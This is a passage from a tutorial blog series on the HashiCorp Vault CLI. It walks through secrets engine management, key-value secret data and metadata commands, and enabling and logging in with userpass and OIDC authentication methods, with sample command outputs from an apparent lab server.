    "running_sha256": "",
    "deprecation_status": ""
  },
  "identity/": {
    "uuid": "985d0186-a541-5905-fabb-70352eaf55b9",
    "type": "identity",
    "description": "identity store",
    "accessor": "identity_6676eb9f",
    "config": {
      "default_lease_ttl": 0,
      "max_lease_ttl": 0,
      "force_no_cache": false,
      "passthrough_request_headers": [
        "Authorization"
      ]
    },
    "options": null,
    "local": false,
    "seal_wrap": false,
    "external_entropy_access": false,
    "plugin_version": "",
    "running_plugin_version": "v1.21.1+builtin.vault",
    "running_sha256": "",
    "deprecation_status": ""
  },
  "kv2/": {
    "uuid": "f7192663-902b-bc9f-da68-762c82c3738b",
    "type": "kv",
    "description": "datacenter secrets",
    "accessor": "kv_20ee0106",
    "config": {
      "default_lease_ttl": 300,
      "max_lease_ttl": 3600,
      "force_no_cache": true,
      "listing_visibility": "hidden"
    },
    "options": {
      "version": "2"
    },
    "local": false,
    "seal_wrap": false,
    "external_entropy_access": true,
    "plugin_version": "",
    "running_plugin_version": "v0.25.0+builtin",
    "running_sha256": "",
    "deprecation_status": "supported"
  },
  "postgres/": {
    "uuid": "50dae925-f07d-184c-a824-096e5719e213",
    "type": "database",
    "description": "",
    "accessor": "database_53cdbc55",
    "config": {
      "default_lease_ttl": 0,
      "max_lease_ttl": 0,
      "force_no_cache": false
    },
    "options": null,
    "local": false,
    "seal_wrap": false,
    "external_entropy_access": false,
    "plugin_version": "",
    "running_plugin_version": "v1.21.1+builtin.vault",
    "running_sha256": "",
    "deprecation_status": ""
  },
  "sys/": {
    "uuid": "9fc5f342-99e3-4d0a-b7c7-f3f015417a4e",
    "type": "system",
    "description": "system endpoints used for control, policy and debugging",
    "accessor": "system_5265b4ea",
    "config": {
      "default_lease_ttl": 0,
      "max_lease_ttl": 0,
      "force_no_cache": false,
      "passthrough_request_headers": [
        "Accept"
      ]
    },
    "options": null,
    "local": false,
    "seal_wrap": true,
    "external_entropy_access": false,
    "plugin_version": "",
    "running_plugin_version": "v1.21.1+builtin.vault",
    "running_sha256": "",
    "deprecation_status": ""
  },
}

`kv secrets move`

When a secrets engine mount path should be changed, this command can be used.

Here is an example to move the kv-v2 engine to a more descriptive mount path reflecting its intended use-case:

> vault secrets move kv2 datacenter-secrets/

# Log messages
2025-12-19T10:06:07.937+0100 [INFO]  core.mounts.migration: Starting to update the mount table and revoke leases: from_path=kv2/ migration_id=d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 namespace="" to_path=datacenter-secrets/
2025-12-19T10:06:08.162+0100 [INFO]  core.mounts.migration: Removing the source mount from filtered paths on secondaries: from_path=kv2/ migration_id=d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 namespace="" to_path=datacenter-secrets/
2025-12-19T10:06:08.162+0100 [INFO]  core.mounts.migration: Updating quotas associated with the source mount: from_path=kv2/ migration_id=d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 namespace="" to_path=datacenter-secrets/
2025-12-19T10:06:08.162+0100 [INFO]  core.mounts.migration: Completed mount move operations: from_path=kv2/ migration_id=d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 namespace="" to_path=datacenter-secrets/

`kv secrets tune`

Once a secret engine became operational, its configuration might need a modification. The tune command accepts most command from its activations, except those that govern the encryption itself, such as external-entropy-access

To modify the kv-v2 engine:

> vault secrets tune \
  -description="stores datacenter secrets" \
  -listing-visibility=unauth \
  -default-lease-ttl=10m datacenter-secrets

# Log messages
2025-12-19T10:23:13.086+0100 [INFO]  core: mount tuning of listing_visibility successful: path=datacenter-secrets/
2025-12-19T10:23:43.231+0100 [INFO]  core: mount tuning of leases successful: path=datacenter-secrets/
2025-12-19T10:23:43.351+0100 [INFO]  core: mount tuning of description successful: path=datacenter-secrets/ description="stores datacenter secrets"

`kv secrets disable`

When the secret engine is not required anymore, it can be turned off. All existing leases will be deleted, and all stored date is removed irreversible.

> vault secrets disable datacenter-secrets

# Log messages
2025-12-19T10:29:32.553+0100 [INFO]  core: successfully unmounted: path=datacenter-secrets/ namespace=""

Key-Value Secret Engine Data Commands

Vault comes with several built-in secrets engines, and the key-value store is the most generic one. Once configured, secrets in the form of key-value pairs can be stored at any nested path, allowing to reflect organizational or logical structure.

The key-value store is available in two different versions, a quick differentiation is this:

The kv-v1 store is more runtime efficient and requires fewer storage space. Secrets are stored unversioned. When a command overwrites data at an existing path, its data is lost. Furthermore, deletion is also non-recoverable.
The kv-v2 store adds versioning to all paths, with a default but tunable value of 10 versions. Storing data at an already defined path increments the version counter. Older versions can be read until the increments surpass the defined maximum value. Any version can be erased recoverable with the delete command, or non-recoverable with the destroy command. Finally, when using the vault CLI generic CRUD commands, the actual paths to access the secret need to differentiate between <mount_path>/data/<name> and <mount_path>/metadata/<name>.

Assuming a CRUD lifecycle, the kv subcommands can be seperated as follows:

Creation
- put: Adds a new secret or new version of the secret at a defined path
Reading
- list: Shows all secrets at a designated path, or at subsequent path parts
- get: Access a specific secret and expose all its metadata
Update
- patch: Modify existing data without incrementing the version
- rollback: Restores a previous version of a secret
- undelete: Restores a secret, or versions of a secrets, that were marked for deletion
- enable-versioning: Adds versioning capabilities to a secret if not present already
Delete
- delete: Removes a secret, or versions of a secret, but keeping an internal, recoverable record
- destroy: Non-recoverable erasing of a secret or versions of secrets

Only in an kv-v2 store are all CLI commands available, and will therfore be the context for this section. The store is created with the following command:

> vault secrets enable -path=kv2 kv-v2

`kv put`

In its simplest form, a single key-value pair can be stored at an arbitrary path. The command can include the secret data directly, which will be stored in the Shell history and therefore exposed, or read from file.

To pass secrets directly:

> vault kv put kv2/api-creds aws=75ae33a4b907bc87796

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T08:13:57.536865Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            1

Another option is to store the secret data in a file, and pass multiple key-value pairs to the command, where the key is determined by the command, and its value by the content of the file.

> vault kv put kv2/api-creds value=@/tmp/aws.scr.txt

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T08:33:49.738235Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            2

Interestingly, the file content can even be binary, as the following example shows:

> dd if=/dev/urandom of=/tmp/binary.scr.txt bs=1 count=30

> vault kv put kv2/api-creds binary=@/tmp/binary.scr.txt

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                binary
---                -----
created_time       2025-12-20T08:42:50.150485Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            4

`kv list`

To get an overview about all secrets, the list command can be called with to secrets engines root-path.

> vault kv list kv2

# Log messages
Keys
----
api-creds
databases
kubernetes
kubernetes/

As the output shows, it lists the top-level paths only. When structured paths are defined, they will be shown with a trailing /. These paths need to be exposed additionally.

> vault kv list kv2/kubernetes/

# Log messages
Keys
----
datacenter1
datacenter2
datacenter3

`kv get`

This command retrieves all data stored at a specific path. Unless scoped, the most recent version will be returned.

Here is an example that returns the most-recent version, also showing that binary data was stored:

>  vault kv get kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T09:27:46.102492Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            3

==== Data ====
Key      Value
---      -----
binary    7J\Z!kMTtcyM/T

To return a different version instead:

> vault kv get -version=2 kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T09:26:19.01058Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            2

==== Data ====
Key      Value
---      -----
value    aws=75ae33a4b907bc87796

`kv patch`

To amend additional data to an existing data record, two variants can be used. The put command requires the complete original data and the new, additional data to be specified. The patch command instead only requires to pass the additional data. In both cases, the version will be incremented.

Here is an example that adds a comment to the stored binary data:

> vault kv patch kv2/api-creds comment="Binary executable for retrieving secrets"

The new version has to following structure:

> vault kv get kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            4

===== Data =====
Key        Value
---        -----
comment    Binary executable for retrieving secrets
binary     7J\Z!kMTtcyM/T

`kv undelete`

When a kv delete command for a specific version was issued, attempts to read the data will only return the metadata section with the additional attribute deletion_time.

Here is an example:

> vault kv delete -versions=4 kv2/api-creds
> vault kv get kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    <nil>
deletion_time      2025-12-21T06:42:28.086713Z
destroyed          false
version            4

The data can be restored, and read attempts succeed once again.

> vault kv undelete -versions=4 kv2/api-creds

# Log messages
Success! Data written to: kv2/undelete/api-creds

> vault kv get kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            4

===== Data =====
Key        Value
---        -----
comment    Binary executable for retrieving secrets
value      7J\Z!kMTtcyM/T

`kv rollback`

The rollback command accesses a previous version of a secret, and stores the secrets value at a new, incremented version.

Here is an example of a rollback to version 2:

> vault kv rollback -versions=2 kv2/api-creds

# Log messages
Key                Value
---                -----
created_time       2025-12-21T06:49:06.178864Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            5

> vault kv get kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-21T06:49:06.178864Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            5

==== Data ====
Key      Value
---      -----
value    aws=75ae33a4b907bc87796

It is not possible to perform a rollback for a previously deleted version.

> vault kv delete -versions=4 kv2/api-creds

# Log messages
Success! Data deleted (if it existed) at: kv2/data/api-creds

# Log messages
> vault kv rollback -version=4 kv2/api-creds
Cannot roll back to a version that has been deleted

`kv enable-versioning`

As explained in the introductory paragraph, a kv-v1 store does not support versioned secrets. This command effectively turns the v1 to a v2 store.

Here is an example in which a kv-v1 store is created. First, the store is enabled at path kv, and two secrets stored.

> vault secrets enable -path=kv kv-v1

# Log messages
2025-12-21T08:41:57.535+0100 [INFO]  core: successful mount: namespace="" path=kv/ type=kv version="v0.25.0+builtin"
Success! Enabled the kv-v1 secrets engine at: kv/

> vault kv put kv/aws api_key=@/tmp/aws.scr.txt

# Log messages
Success! Data written to: kv/aws

> vault kv put kv/encryption_binary data==@/tmp/bin

# Log messages
Success! Data written to: kv/encryption_binary

> vault kv list kv

# Log messages
Keys
----
aws
encryption_binary

> vault kv get kv/aws

# Log messages
===== Data =====
Key        Value
---        -----
api_key    75ae33a4b907bc87796

Second, kv enable-versioning is applied, and a stored secret read. As shown, it now includes a metadata section, the sure sign that it is a kv-v2 secret.

> vault kv enable-versioning kv

# Log messages
2025-12-21T08:44:53.048+0100 [INFO]  core: mount tuning of options: path=kv/ options=map[version:2]
Success! Tuned the secrets engine at: kv/

2025-12-21T08:44:53.244+0100 [INFO]  secrets.kv.kv_845130a3: collecting keys to upgrade
2025-12-21T08:44:53.244+0100 [INFO]  secrets.kv.kv_845130a3: done collecting keys: num_keys=3
2025-12-21T08:44:54.174+0100 [INFO]  secrets.kv.kv_845130a3: upgrading keys finished

> vault kv list kv

# Log messages
Keys
----
aws
encryption_binary

> vault kv get kv/aws

# Log messages
== Secret Path ==
kv/data/aws

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-21T07:44:53.342531Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          false
version            1

===== Data =====
Key        Value
---        -----
api_key    75ae33a4b907bc87796

`kv delete`

In an kv-v2 store, the delete command modifies the data-record of a versioned secret. From that moment on, its metadata obtains a timestamp in the deletion_time attribute, and performing a kv get does not show the stored data anymore. This commands results are reversible - issuing a kv undelete restores the data, as shown above.

Here is an example:

> vault kv delete -versions=4 kv2/api-creds

# Log messages
Success! Data deleted (if it existed) at: kv2/data/api-creds

> vault kv get -version=4 kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-20T10:09:59.494854Z
custom_metadata    <nil>
deletion_time      2025-12-21T06:52:17.001191Z
destroyed          false
version            4

`kv destroy`

Similar to kv delete, this command modifies the data record. Its metadata shows destroyed true, and read attempts do not return the data anymore. This change is non-reversible - the data is removed permanently.

> vault kv destroy -versions=5 kv2/api-creds

# Log messages
Success! Data written to: kv2/destroy/api-creds
midi :: work/development/vault » vault kv get kv2/api-creds
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-21T06:49:06.178864Z
custom_metadata    <nil>
deletion_time      n/a
destroyed          true
version            5

Key-Value Secret Engine Metadata Commands

Each kv-v2 secret contains a data and a metadata section. The metadata section of a secret stored in a kv-v2 engine can be accessed and manipulated with the three subcommands get, put, and delete.

`kv metadata get`

Issuing a get returns the complete metadata history of a secret.

> vault kv metadata get kv2/api-creds

# Log messages
==== Metadata Path ====
kv2/metadata/api-creds

========== Metadata ==========
Key                     Value
---                     -----
cas_required            false
created_time            2025-12-20T09:26:11.531797Z
current_version         5
custom_metadata         <nil>
delete_version_after    0s
last_updated_by         map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8= operation:update]
max_versions            0
oldest_version          0
updated_time            2025-12-21T06:49:06.178864Z

====== Version 1 ======
Key              Value
---              -----
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8= operation:create]
created_time     2025-12-20T09:26:11.531797Z
deleted_by       <nil>
deletion_time    n/a
destroyed        false

====== Version 2 ======
Key              Value
---              -----
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8= operation:update]
created_time     2025-12-20T09:26:19.01058Z
deleted_by       <nil>
deletion_time    n/a
destroyed        false

====== Version 3 ======
Key              Value
---              -----
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8= operation:update]
created_time     2025-12-20T09:27:46.102492Z
deleted_by       <nil>
deletion_time    n/a
destroyed        false

====== Version 4 ======
Key              Value
---              -----
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8= operation:patch]
created_time     2025-12-20T10:09:59.494854Z
deleted_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8= operation:update]
deletion_time    2025-12-21T06:52:17.001191Z
destroyed        false

====== Version 5 ======
Key              Value
---              -----
created_by       map[actor:root client_id:0DHqvq2D77kL2/JTPSZkTMJbkFVmUu0TzMi0jiXcFy8= operation:update]
created_time     2025-12-21T06:49:06.178864Z
deleted_by       <nil>
deletion_time    n/a
destroyed        true

`kv metadata put`

Each secrets' metadata property inherits their configuration from the store itself. These properties can be changed on a per-record base, customizing especially sensitive secrets.

Following properties are configurable:

cas-required=<*bool>: CAS is an acronym for "check-and-set". When this property is enabled, all data-record updates need to include the cas attribute present, and its value needs to be that of the most recent version number. Therefore, this setting is an additional fail-safe to prevent accidental modifications of the secret
delete-version-after=<duration>: Secrets can be configured as self-destructing with this setting. When the duration passes, the most recent version of the secret will be deleted. If version increments happen before the duration expires, older records remain readable.
max-versions=<int>: Per default, each secret path can be updated for 10 iterations before older data is purged. This flag modifies this property.
custom-metadata=<key=value>: The metadata section of each secret can include arbitrary, custom fields to augment information for system or human user access.

Here is an example of extending the metadata record with custom fields:

> vault kv metadata put -custom-metadata="comment=API credentials for AWS" -custom-metadata="public-key=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT" kv2/api-creds

# Log messages
Success! Data written to: kv2/metadata/api-creds

> vault kv get -format=JSON kv2/api-creds

# Log messages
{
  "request_id": "18da20a1-b67b-f781-ae10-a699675f3b80",
  "lease_id": "",
  "lease_duration": 0,
  "renewable": false,
  "data": {
    "data": {
      "api_key": "75ae33a4b907bc87796\n"
    },
    "metadata": {
      "created_time": "2025-12-21T09:36:44.286357Z",
      "custom_metadata": {
        "comment": "API credentials for AWS",
        "public-key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT"
      },
      "deletion_time": "",
      "destroyed": false,
      "version": 4
    }
  },
  "warnings": null,
  "mount_type": "kv"
}

The following experiment shows how the duration setting auto-deletes secrets. First, the duration is set to 1min. Second, a new version is created, and the return value shows a deletion timestamp in the future.

> vault kv metadata put -delete-version-after=1m kv2/api-creds

# Log messages
Success! Data written to: kv2/metadata/api-creds

> vault kv put kv2/api-creds api_key=@/tmp/aws.scr.txt

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-21T09:43:58.324523Z
custom_metadata    map[comment:API credentials for AWS public-key:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT]
deletion_time      2025-12-21T09:44:58.324523Z
destroyed          false
version            6

Once the time passed, the record is deleted. Executing a undelete command makes the secret available again.

vault kv get kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-21T09:43:58.324523Z
custom_metadata    map[comment:API credentials for AWS public-key:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT]
deletion_time      2025-12-21T09:44:58.324523Z
destroyed          false
version            6

> vault kv undelete -versions=7 kv2/api-creds

# Log messages
Success! Data written to: kv2/undelete/api-creds

> vault kv get kv2/api-creds

# Log messages
=== Secret Path ===
kv2/data/api-creds

======= Metadata =======
Key                Value
---                -----
created_time       2025-12-21T09:43:58.324523Z
custom_metadata    map[comment:API credentials for AWS public-key:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT]
deletion_time      2025-12-21T09:48:18.574148Z
destroyed          false
version            6

===== Data =====
Key        Value
---        -----
api_key    aws=75ae33a4b907bc87796

`kv metadata delete`

This command results in the immediate, non-recoverable destruction of all versions of a secret's data and metadata.

> vault kv metadata delete kv2/api-creds

# Log messages
Success! Data deleted (if it existed) at: kv2/metadata/api-creds

All following read attempts result in an error.

> vault kv metadata get kv2/api-creds

# Log messages
No value found at kv2/metadata/api-creds

Conclusion

The Hashicorp Vault CLI is a powerful tool for setup, configuration and maintenance of a Vault server or cluster. In an ongoing article series, all CLI commands are systematically explored. The focus for this article is two commands from the secret management group. With secrets, the available engines can be activated, their configuration read and modified, and finally disabled. Similarly, for the built-in key-value store engine, the kv subcommands cover all lifecycles. Here, you learned about the differences of kv-v1 and kv-v2 stores, and saw the intricacies of secret lifecycles with recoverable and non-recoverable deletion. Finally, you also saw how a secrets metadata can be accessed and manipulated, setting e.g. a property that automatically deletes secrets after a defined duration passed. Overall, this coverage should help you to use the key-value store with its full functionality.

Hashicorp Vault CLI Part 7: Authentication

Sebastian — Mon, 16 Mar 2026 05:58:06 +0000

Hashicorp Vault is a secrets management tool. For setup, configuration, and management, the Vault CLI can be used. It offers more than 30 subcommands, and in this blog series, they are explored systematically.

This article focuses on Authentication. It covers the setup and management of authentication engines, and it shows how to perform logins for the engines.

The background material for this article stems from the official Hashicorp Vault documentation about Vault CLI and subsequent pages, as well as information from the binary itself.

This article originally appeared at my blog admantium.com.

Vault CLI Overview

The Vault CLI provides more than 30 commands. For systematically explaining and contextualizing each command, they can be structured as follows.

Groups marked with a checkmark were covered in an earlier article, and the section marked with an at sign is the focus for this article.

✅ Initialization
- server: Starts a server process
- agent: Starts an agent process, a utility to communicate with a vault server to gain access to tokens
- proxy: Starts a vault proxy process
✅ Configuration
- operator: Cluster management operations, including memberships, encryption and unseal keys
- plugin: Manage and install additional plugins
- read / list: Access stored configuration and secrets
- write / patch: Modify or create any data
- delete: Delete configuration data or secrets
✅ Introspection
- status: Show status information of the vault server
- version: Shows compact version information and build timestamp
- version-history: Shows detailed version information about all previously used vault server instances
- print: Detailed view of the vault’s server runtime configuration
- path-help: Detailed documentation about API endpoints
- events: Subscribe to the event stream of a running vault instance
- monitor: Print vault log messages
- debug: Shows debug information of the connected Vault server
- audit: Interact with connected audit devices
✅ Vault Enterprise
- hcp: Operate a managed Hashicorp Vault cluster
- namespace: Interact with configured namespaces of the cluster
✅ Authorization
- policy: Manage policy definitions that govern all vault operations
- tokens: General token management
- lease: Manage current token leases, including renewal, revocation and TTL modification
🌀 Authentication
- auth: Interact with configured authentication options
- login: Authenticates access to a Vault server
Secrets Management
- secrets: General configuration of secret engines
- kv: Access to the essential key-value store
- transform: Interact with the transform secrets engine
- transit: Interact with the Vaults transit secrets engine
- unwrap: One-time access to arbitrary encrypted data
- pki: Access the private key infrastructure secrets engine
- ssh: Initiates SSH sessions via the SSH secrets engine

Authentication Commands

`auth`

A new vault instance supports exactly one, not disableable authentication method: token. Using either the initially defined root token, or other created tokens with the required policies, access to the Vault server can be given.

The vault auth command provides several subcommands with which the available authentication methods can be managed.

enable: Activate a new authentication method
move: Change the mount path of an auth method
tune: Modify the configuration of an auth method
list: Show all configured auth methods
help: Show supporting information about how to use an authentication method
disable: Deactivate an authentication method

As explored in more detail in my article Authentication Provider Almanac, authentication methods can be divided into builtin, user, system, and cloud. While the subcommands structure stays the same for each method, parameters may vary.

To get an overview to all available authentication methods, one option is to access the Vault GUI at path /ui/vault/settings/auth/enable.

The other option is to access the plugin management and list authentication plugins.

> vault plugin list auth

Name          Version
----          -------
alicloud      v0.22.0+builtin
approle       v1.21.1+builtin.vault
aws           v1.21.1+builtin.vault
azure         v0.22.0+builtin
cert          v1.21.1+builtin.vault
cf            v0.22.0+builtin
gcp           v0.22.0+builtin
github        v1.21.1+builtin.vault
jwt           v0.25.0+builtin
kerberos      v0.16.0+builtin
kubernetes    v0.23.1+builtin
ldap          v1.21.1+builtin.vault
oci           v0.20.0+builtin
oidc          v1.21.1+builtin.vault
okta          v1.21.1+builtin.vault
pcf           v1.21.1+builtin.vault
radius        v1.21.1+builtin.vault
userpass      v1.21.1+builtin.vault

The following two sections contrast examples for builtin and user authentication methods.

Managing Builtin Authentication Method: Userpass

A new authentication method can be enabled by just passing its name. Several options can be passed already at initialization time, including the TTL of leases and plugin-specific options, or technical options like access to Vault-external entropy sources.

> vault auth enable userpass

# Log messages
Success! Enabled userpass auth method at: userpass/
core: enabled credential backend: path=userpass/ type=userpass version="v1.21.1+builtin.vault"

The default mount path can be changed, with the immediate effect that all existing tokens will be invalidated immediately. Internally, the authentication methods endpoints configuration will be copied, then unmounted, and mounted at the new path - a background operation that can take some time.

> vault auth move auth/userpass auth/login

# Log messages
Started moving auth method auth/userpass/ to auth/login/, with migration ID b332d7d5-719d-631c-e15c-a85d09c81fd6
Waiting for terminal status in migration of auth method auth/userpass/ to auth/login/, with migration ID b332d7d5-719d-631c-e15c-a85d09c81fd6
Success! Finished moving auth method auth/userpass/ to auth/login/, with migration ID b332d7d5-719d-631c-e15c-a85d09c81fd6

Once the authentication method is mounted, its configuration can be changed with the tune command. All options available during initialization can be accessed and modified. The following command shows how to change the default lease time.

> vault auth tune -default-lease-ttl=1h login/

# Log messages
2025-12-11T20:07:33.703+0100 [INFO]  core: mount tuning of leases successful: path=auth/login/
Success! Tuned the auth method at: login/

To get an overview to all defined authentication methods, run the following:

> vault auth list

# Log messages
Path      Type        Accessor                  Description                Version
----      ----        --------                  -----------                -------
login/    userpass    auth_userpass_208f6abe    n/a                        n/a
token/    token       auth_token_a5a09180       token based credentials    n/a

Each authentication methods can be used with the Vault CLI via vault login. A helpful shortcut to see when parameters an authentication method requires can be obtained as follows:

> vault auth help login/

# Log messages
Usage: vault login -method=userpass [CONFIG K=V...]

  The userpass auth method allows users to authenticate using Vault's
  internal user database.

  Authenticate as "sally":

      $ vault login -method=userpass username=sally
      Password (will be hidden):

  Authenticate as "bob":

      $ vault login -method=userpass username=bob password=password

Configuration:

  password=<string>
      Password to use for authentication. If not provided, the CLI will prompt
      for this on stdin.

  username=<string>
      Username to use for authentication.

Finally, a configured auth method can be disabled, immediately revoking all existing leases.

> vault auth disable login/

# Log messages
2025-12-11T20:14:25.462+0100 [INFO]  core: disabled credential backend: path=auth/login/
Success! Disabled the auth method (if it existed) at: login/

Managing User Authentication Method: OIDC

The OIDC method is activated and mounted at a predefined path.

> vault auth oidc

# Log messages
2025-12-13T11:20:44.946+0100 [INFO]  core: enabled credential backend: path=oidc/ type=oidc version="v1.21.1+builtin.vault"
Success! Enabled oidc auth method at: oidc/

However, it should be available at the path /openid-login. Let’s move it there.

> vault auth move auth/oidc auth/openid-login

# Log messages
2025-12-13T11:21:23.440+0100 [INFO]  core.mounts.migration: Starting to update the mount table and revoke leases: from_path=auth/oidc/ migration_id=64a573e0-b9f5-1a92-bf63-68578a90ee13 namespace="" to_path=auth/openid-login/
Started moving auth method auth/oidc/ to auth/openid-login/, with migration ID 64a573e0-b9f5-1a92-bf63-68578a90ee13
Waiting for terminal status in migration of auth method auth/oidc/ to auth/openid-login/, with migration ID 64a573e0-b9f5-1a92-bf63-68578a90ee13
2025-12-13T11:21:23.734+0100 [INFO]  core.mounts.migration: Removing the source mount from filtered paths on secondaries: from_path=auth/oidc/ migration_id=64a573e0-b9f5-1a92-bf63-68578a90ee13 namespace="" to_path=auth/openid-login/
2025-12-13T11:21:23.734+0100 [INFO]  core.mounts.migration: Updating quotas associated with the source mount: from_path=auth/oidc/ migration_id=64a573e0-b9f5-1a92-bf63-68578a90ee13 namespace="" to_path=auth/openid-login/
2025-12-13T11:21:23.735+0100 [INFO]  core.mounts.migration: Completed mount move operations: from_path=auth/oidc/ migration_id=64a573e0-b9f5-1a92-bf63-68578a90ee13 namespace="" to_path=auth/openid-login/

The OIDC authentication can be used in conjunction with an external system. To see tunable properties, run the following command:

> vault read sys/auth/openid-login/tune

# Log messages
Key                  Value
---                  -----
default_lease_ttl    768h
description          n/a
force_no_cache       false
max_lease_ttl        768h
token_type           default-service

Let’s limit the TTL, and ensure unauthenticated users can access the method as well.

> vault auth tune -max-lease-ttl=1m -listing-visibility=unauth openid-login

2025-12-13T11:37:08.199+0100 [INFO]  core: mount tuning of leases successful: path=auth/openid-login/
2025-12-13T11:37:08.456+0100 [INFO]  core: mount tuning of listing_visibility successful: path=auth/openid-login/
Success! Tuned the auth method at: openid-login/

To see how to perform a login with this method, run the following command:

> vault auth help openid-login/

# Log messages
Usage: vault login -method=oidc [CONFIG K=V...]

  The OIDC auth method allows users to authenticate using an OIDC provider.
  The provider must be configured as part of a role by the operator.

  Authenticate using role "engineering":

      $ vault login -method=oidc role=engineering
      Complete the login via your OIDC provider. Launching browser to:

          https://accounts.google.com/o/oauth2/v2/...

  The default browser will be opened for the user to complete the login. Alternatively,
  the user may visit the provided URL directly.

Finally, the authentication method will be disabled again.

> vault auth disable openid-login

# Log messages
2025-12-13T11:44:33.916+0100 [INFO]  core: disabled credential backend: path=auth/openid-login/
Success! Disabled the auth method (if it existed) at: openid-login/

`login`

To login to a configured authentication method, both the GUI and the CLI can be used. An invocation via the CLI requires the following command flags to be present:

method: The authentication method type
path: In case of a non-default mount path, it needs to be configured specifically.
parameters: Additional parameters as required by the authentication method

Continuing with the examples from the last two sections, to perform the login for the userpass method, run the following commands:

> vault login -method=userpass -path=login username=user

# Log messages
Password (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                    Value
---                    -----
token                  hvs.CAESICzlbzAXoGcIvdAgGQ1NToqs5jARRfP4oFJAS_37Mw-HGh4KHGh2cy5ORGMzYmYyQWlGbFk5em92cHVuNXFBbkU
token_accessor         EjZQYdMEMCAsN7VvVCR1ef1r
token_duration         768h
token_renewable        true
token_policies         ["default"]
identity_policies      []
policies               ["default"]
token_meta_username    user

To properly setup the OIDC authentication method, additional steps are required: Registration with an OIDC provider, configuring the discovery URL and secrets in vaults, and the setup of policies and roles. Assuming these steps were done, the login works as follows:

> vault login -method=oidc -path=openid-login role=user

#logMessages
Complete the login via your OIDC provider. Launching browser to:

...

Waiting for OIDC authentication to complete...

Conclusion

The Hashicorp Vault CLI offers more then 30 commands. In this article, you learned all about authentication. First, authentication methods are enabled at a specific mountpoints. Their properties can be modified, their mount path changed, and a list of all active methods obtained. Not required authentication methods can be disabled, immediately revoking all token leases. Second, users and systems alike can use the CLI also to login. Providing the authentication methods name, its mount path, and other required parameters. When successful, a new token is created, access policies attached, and the token owner can interact with the Vault server.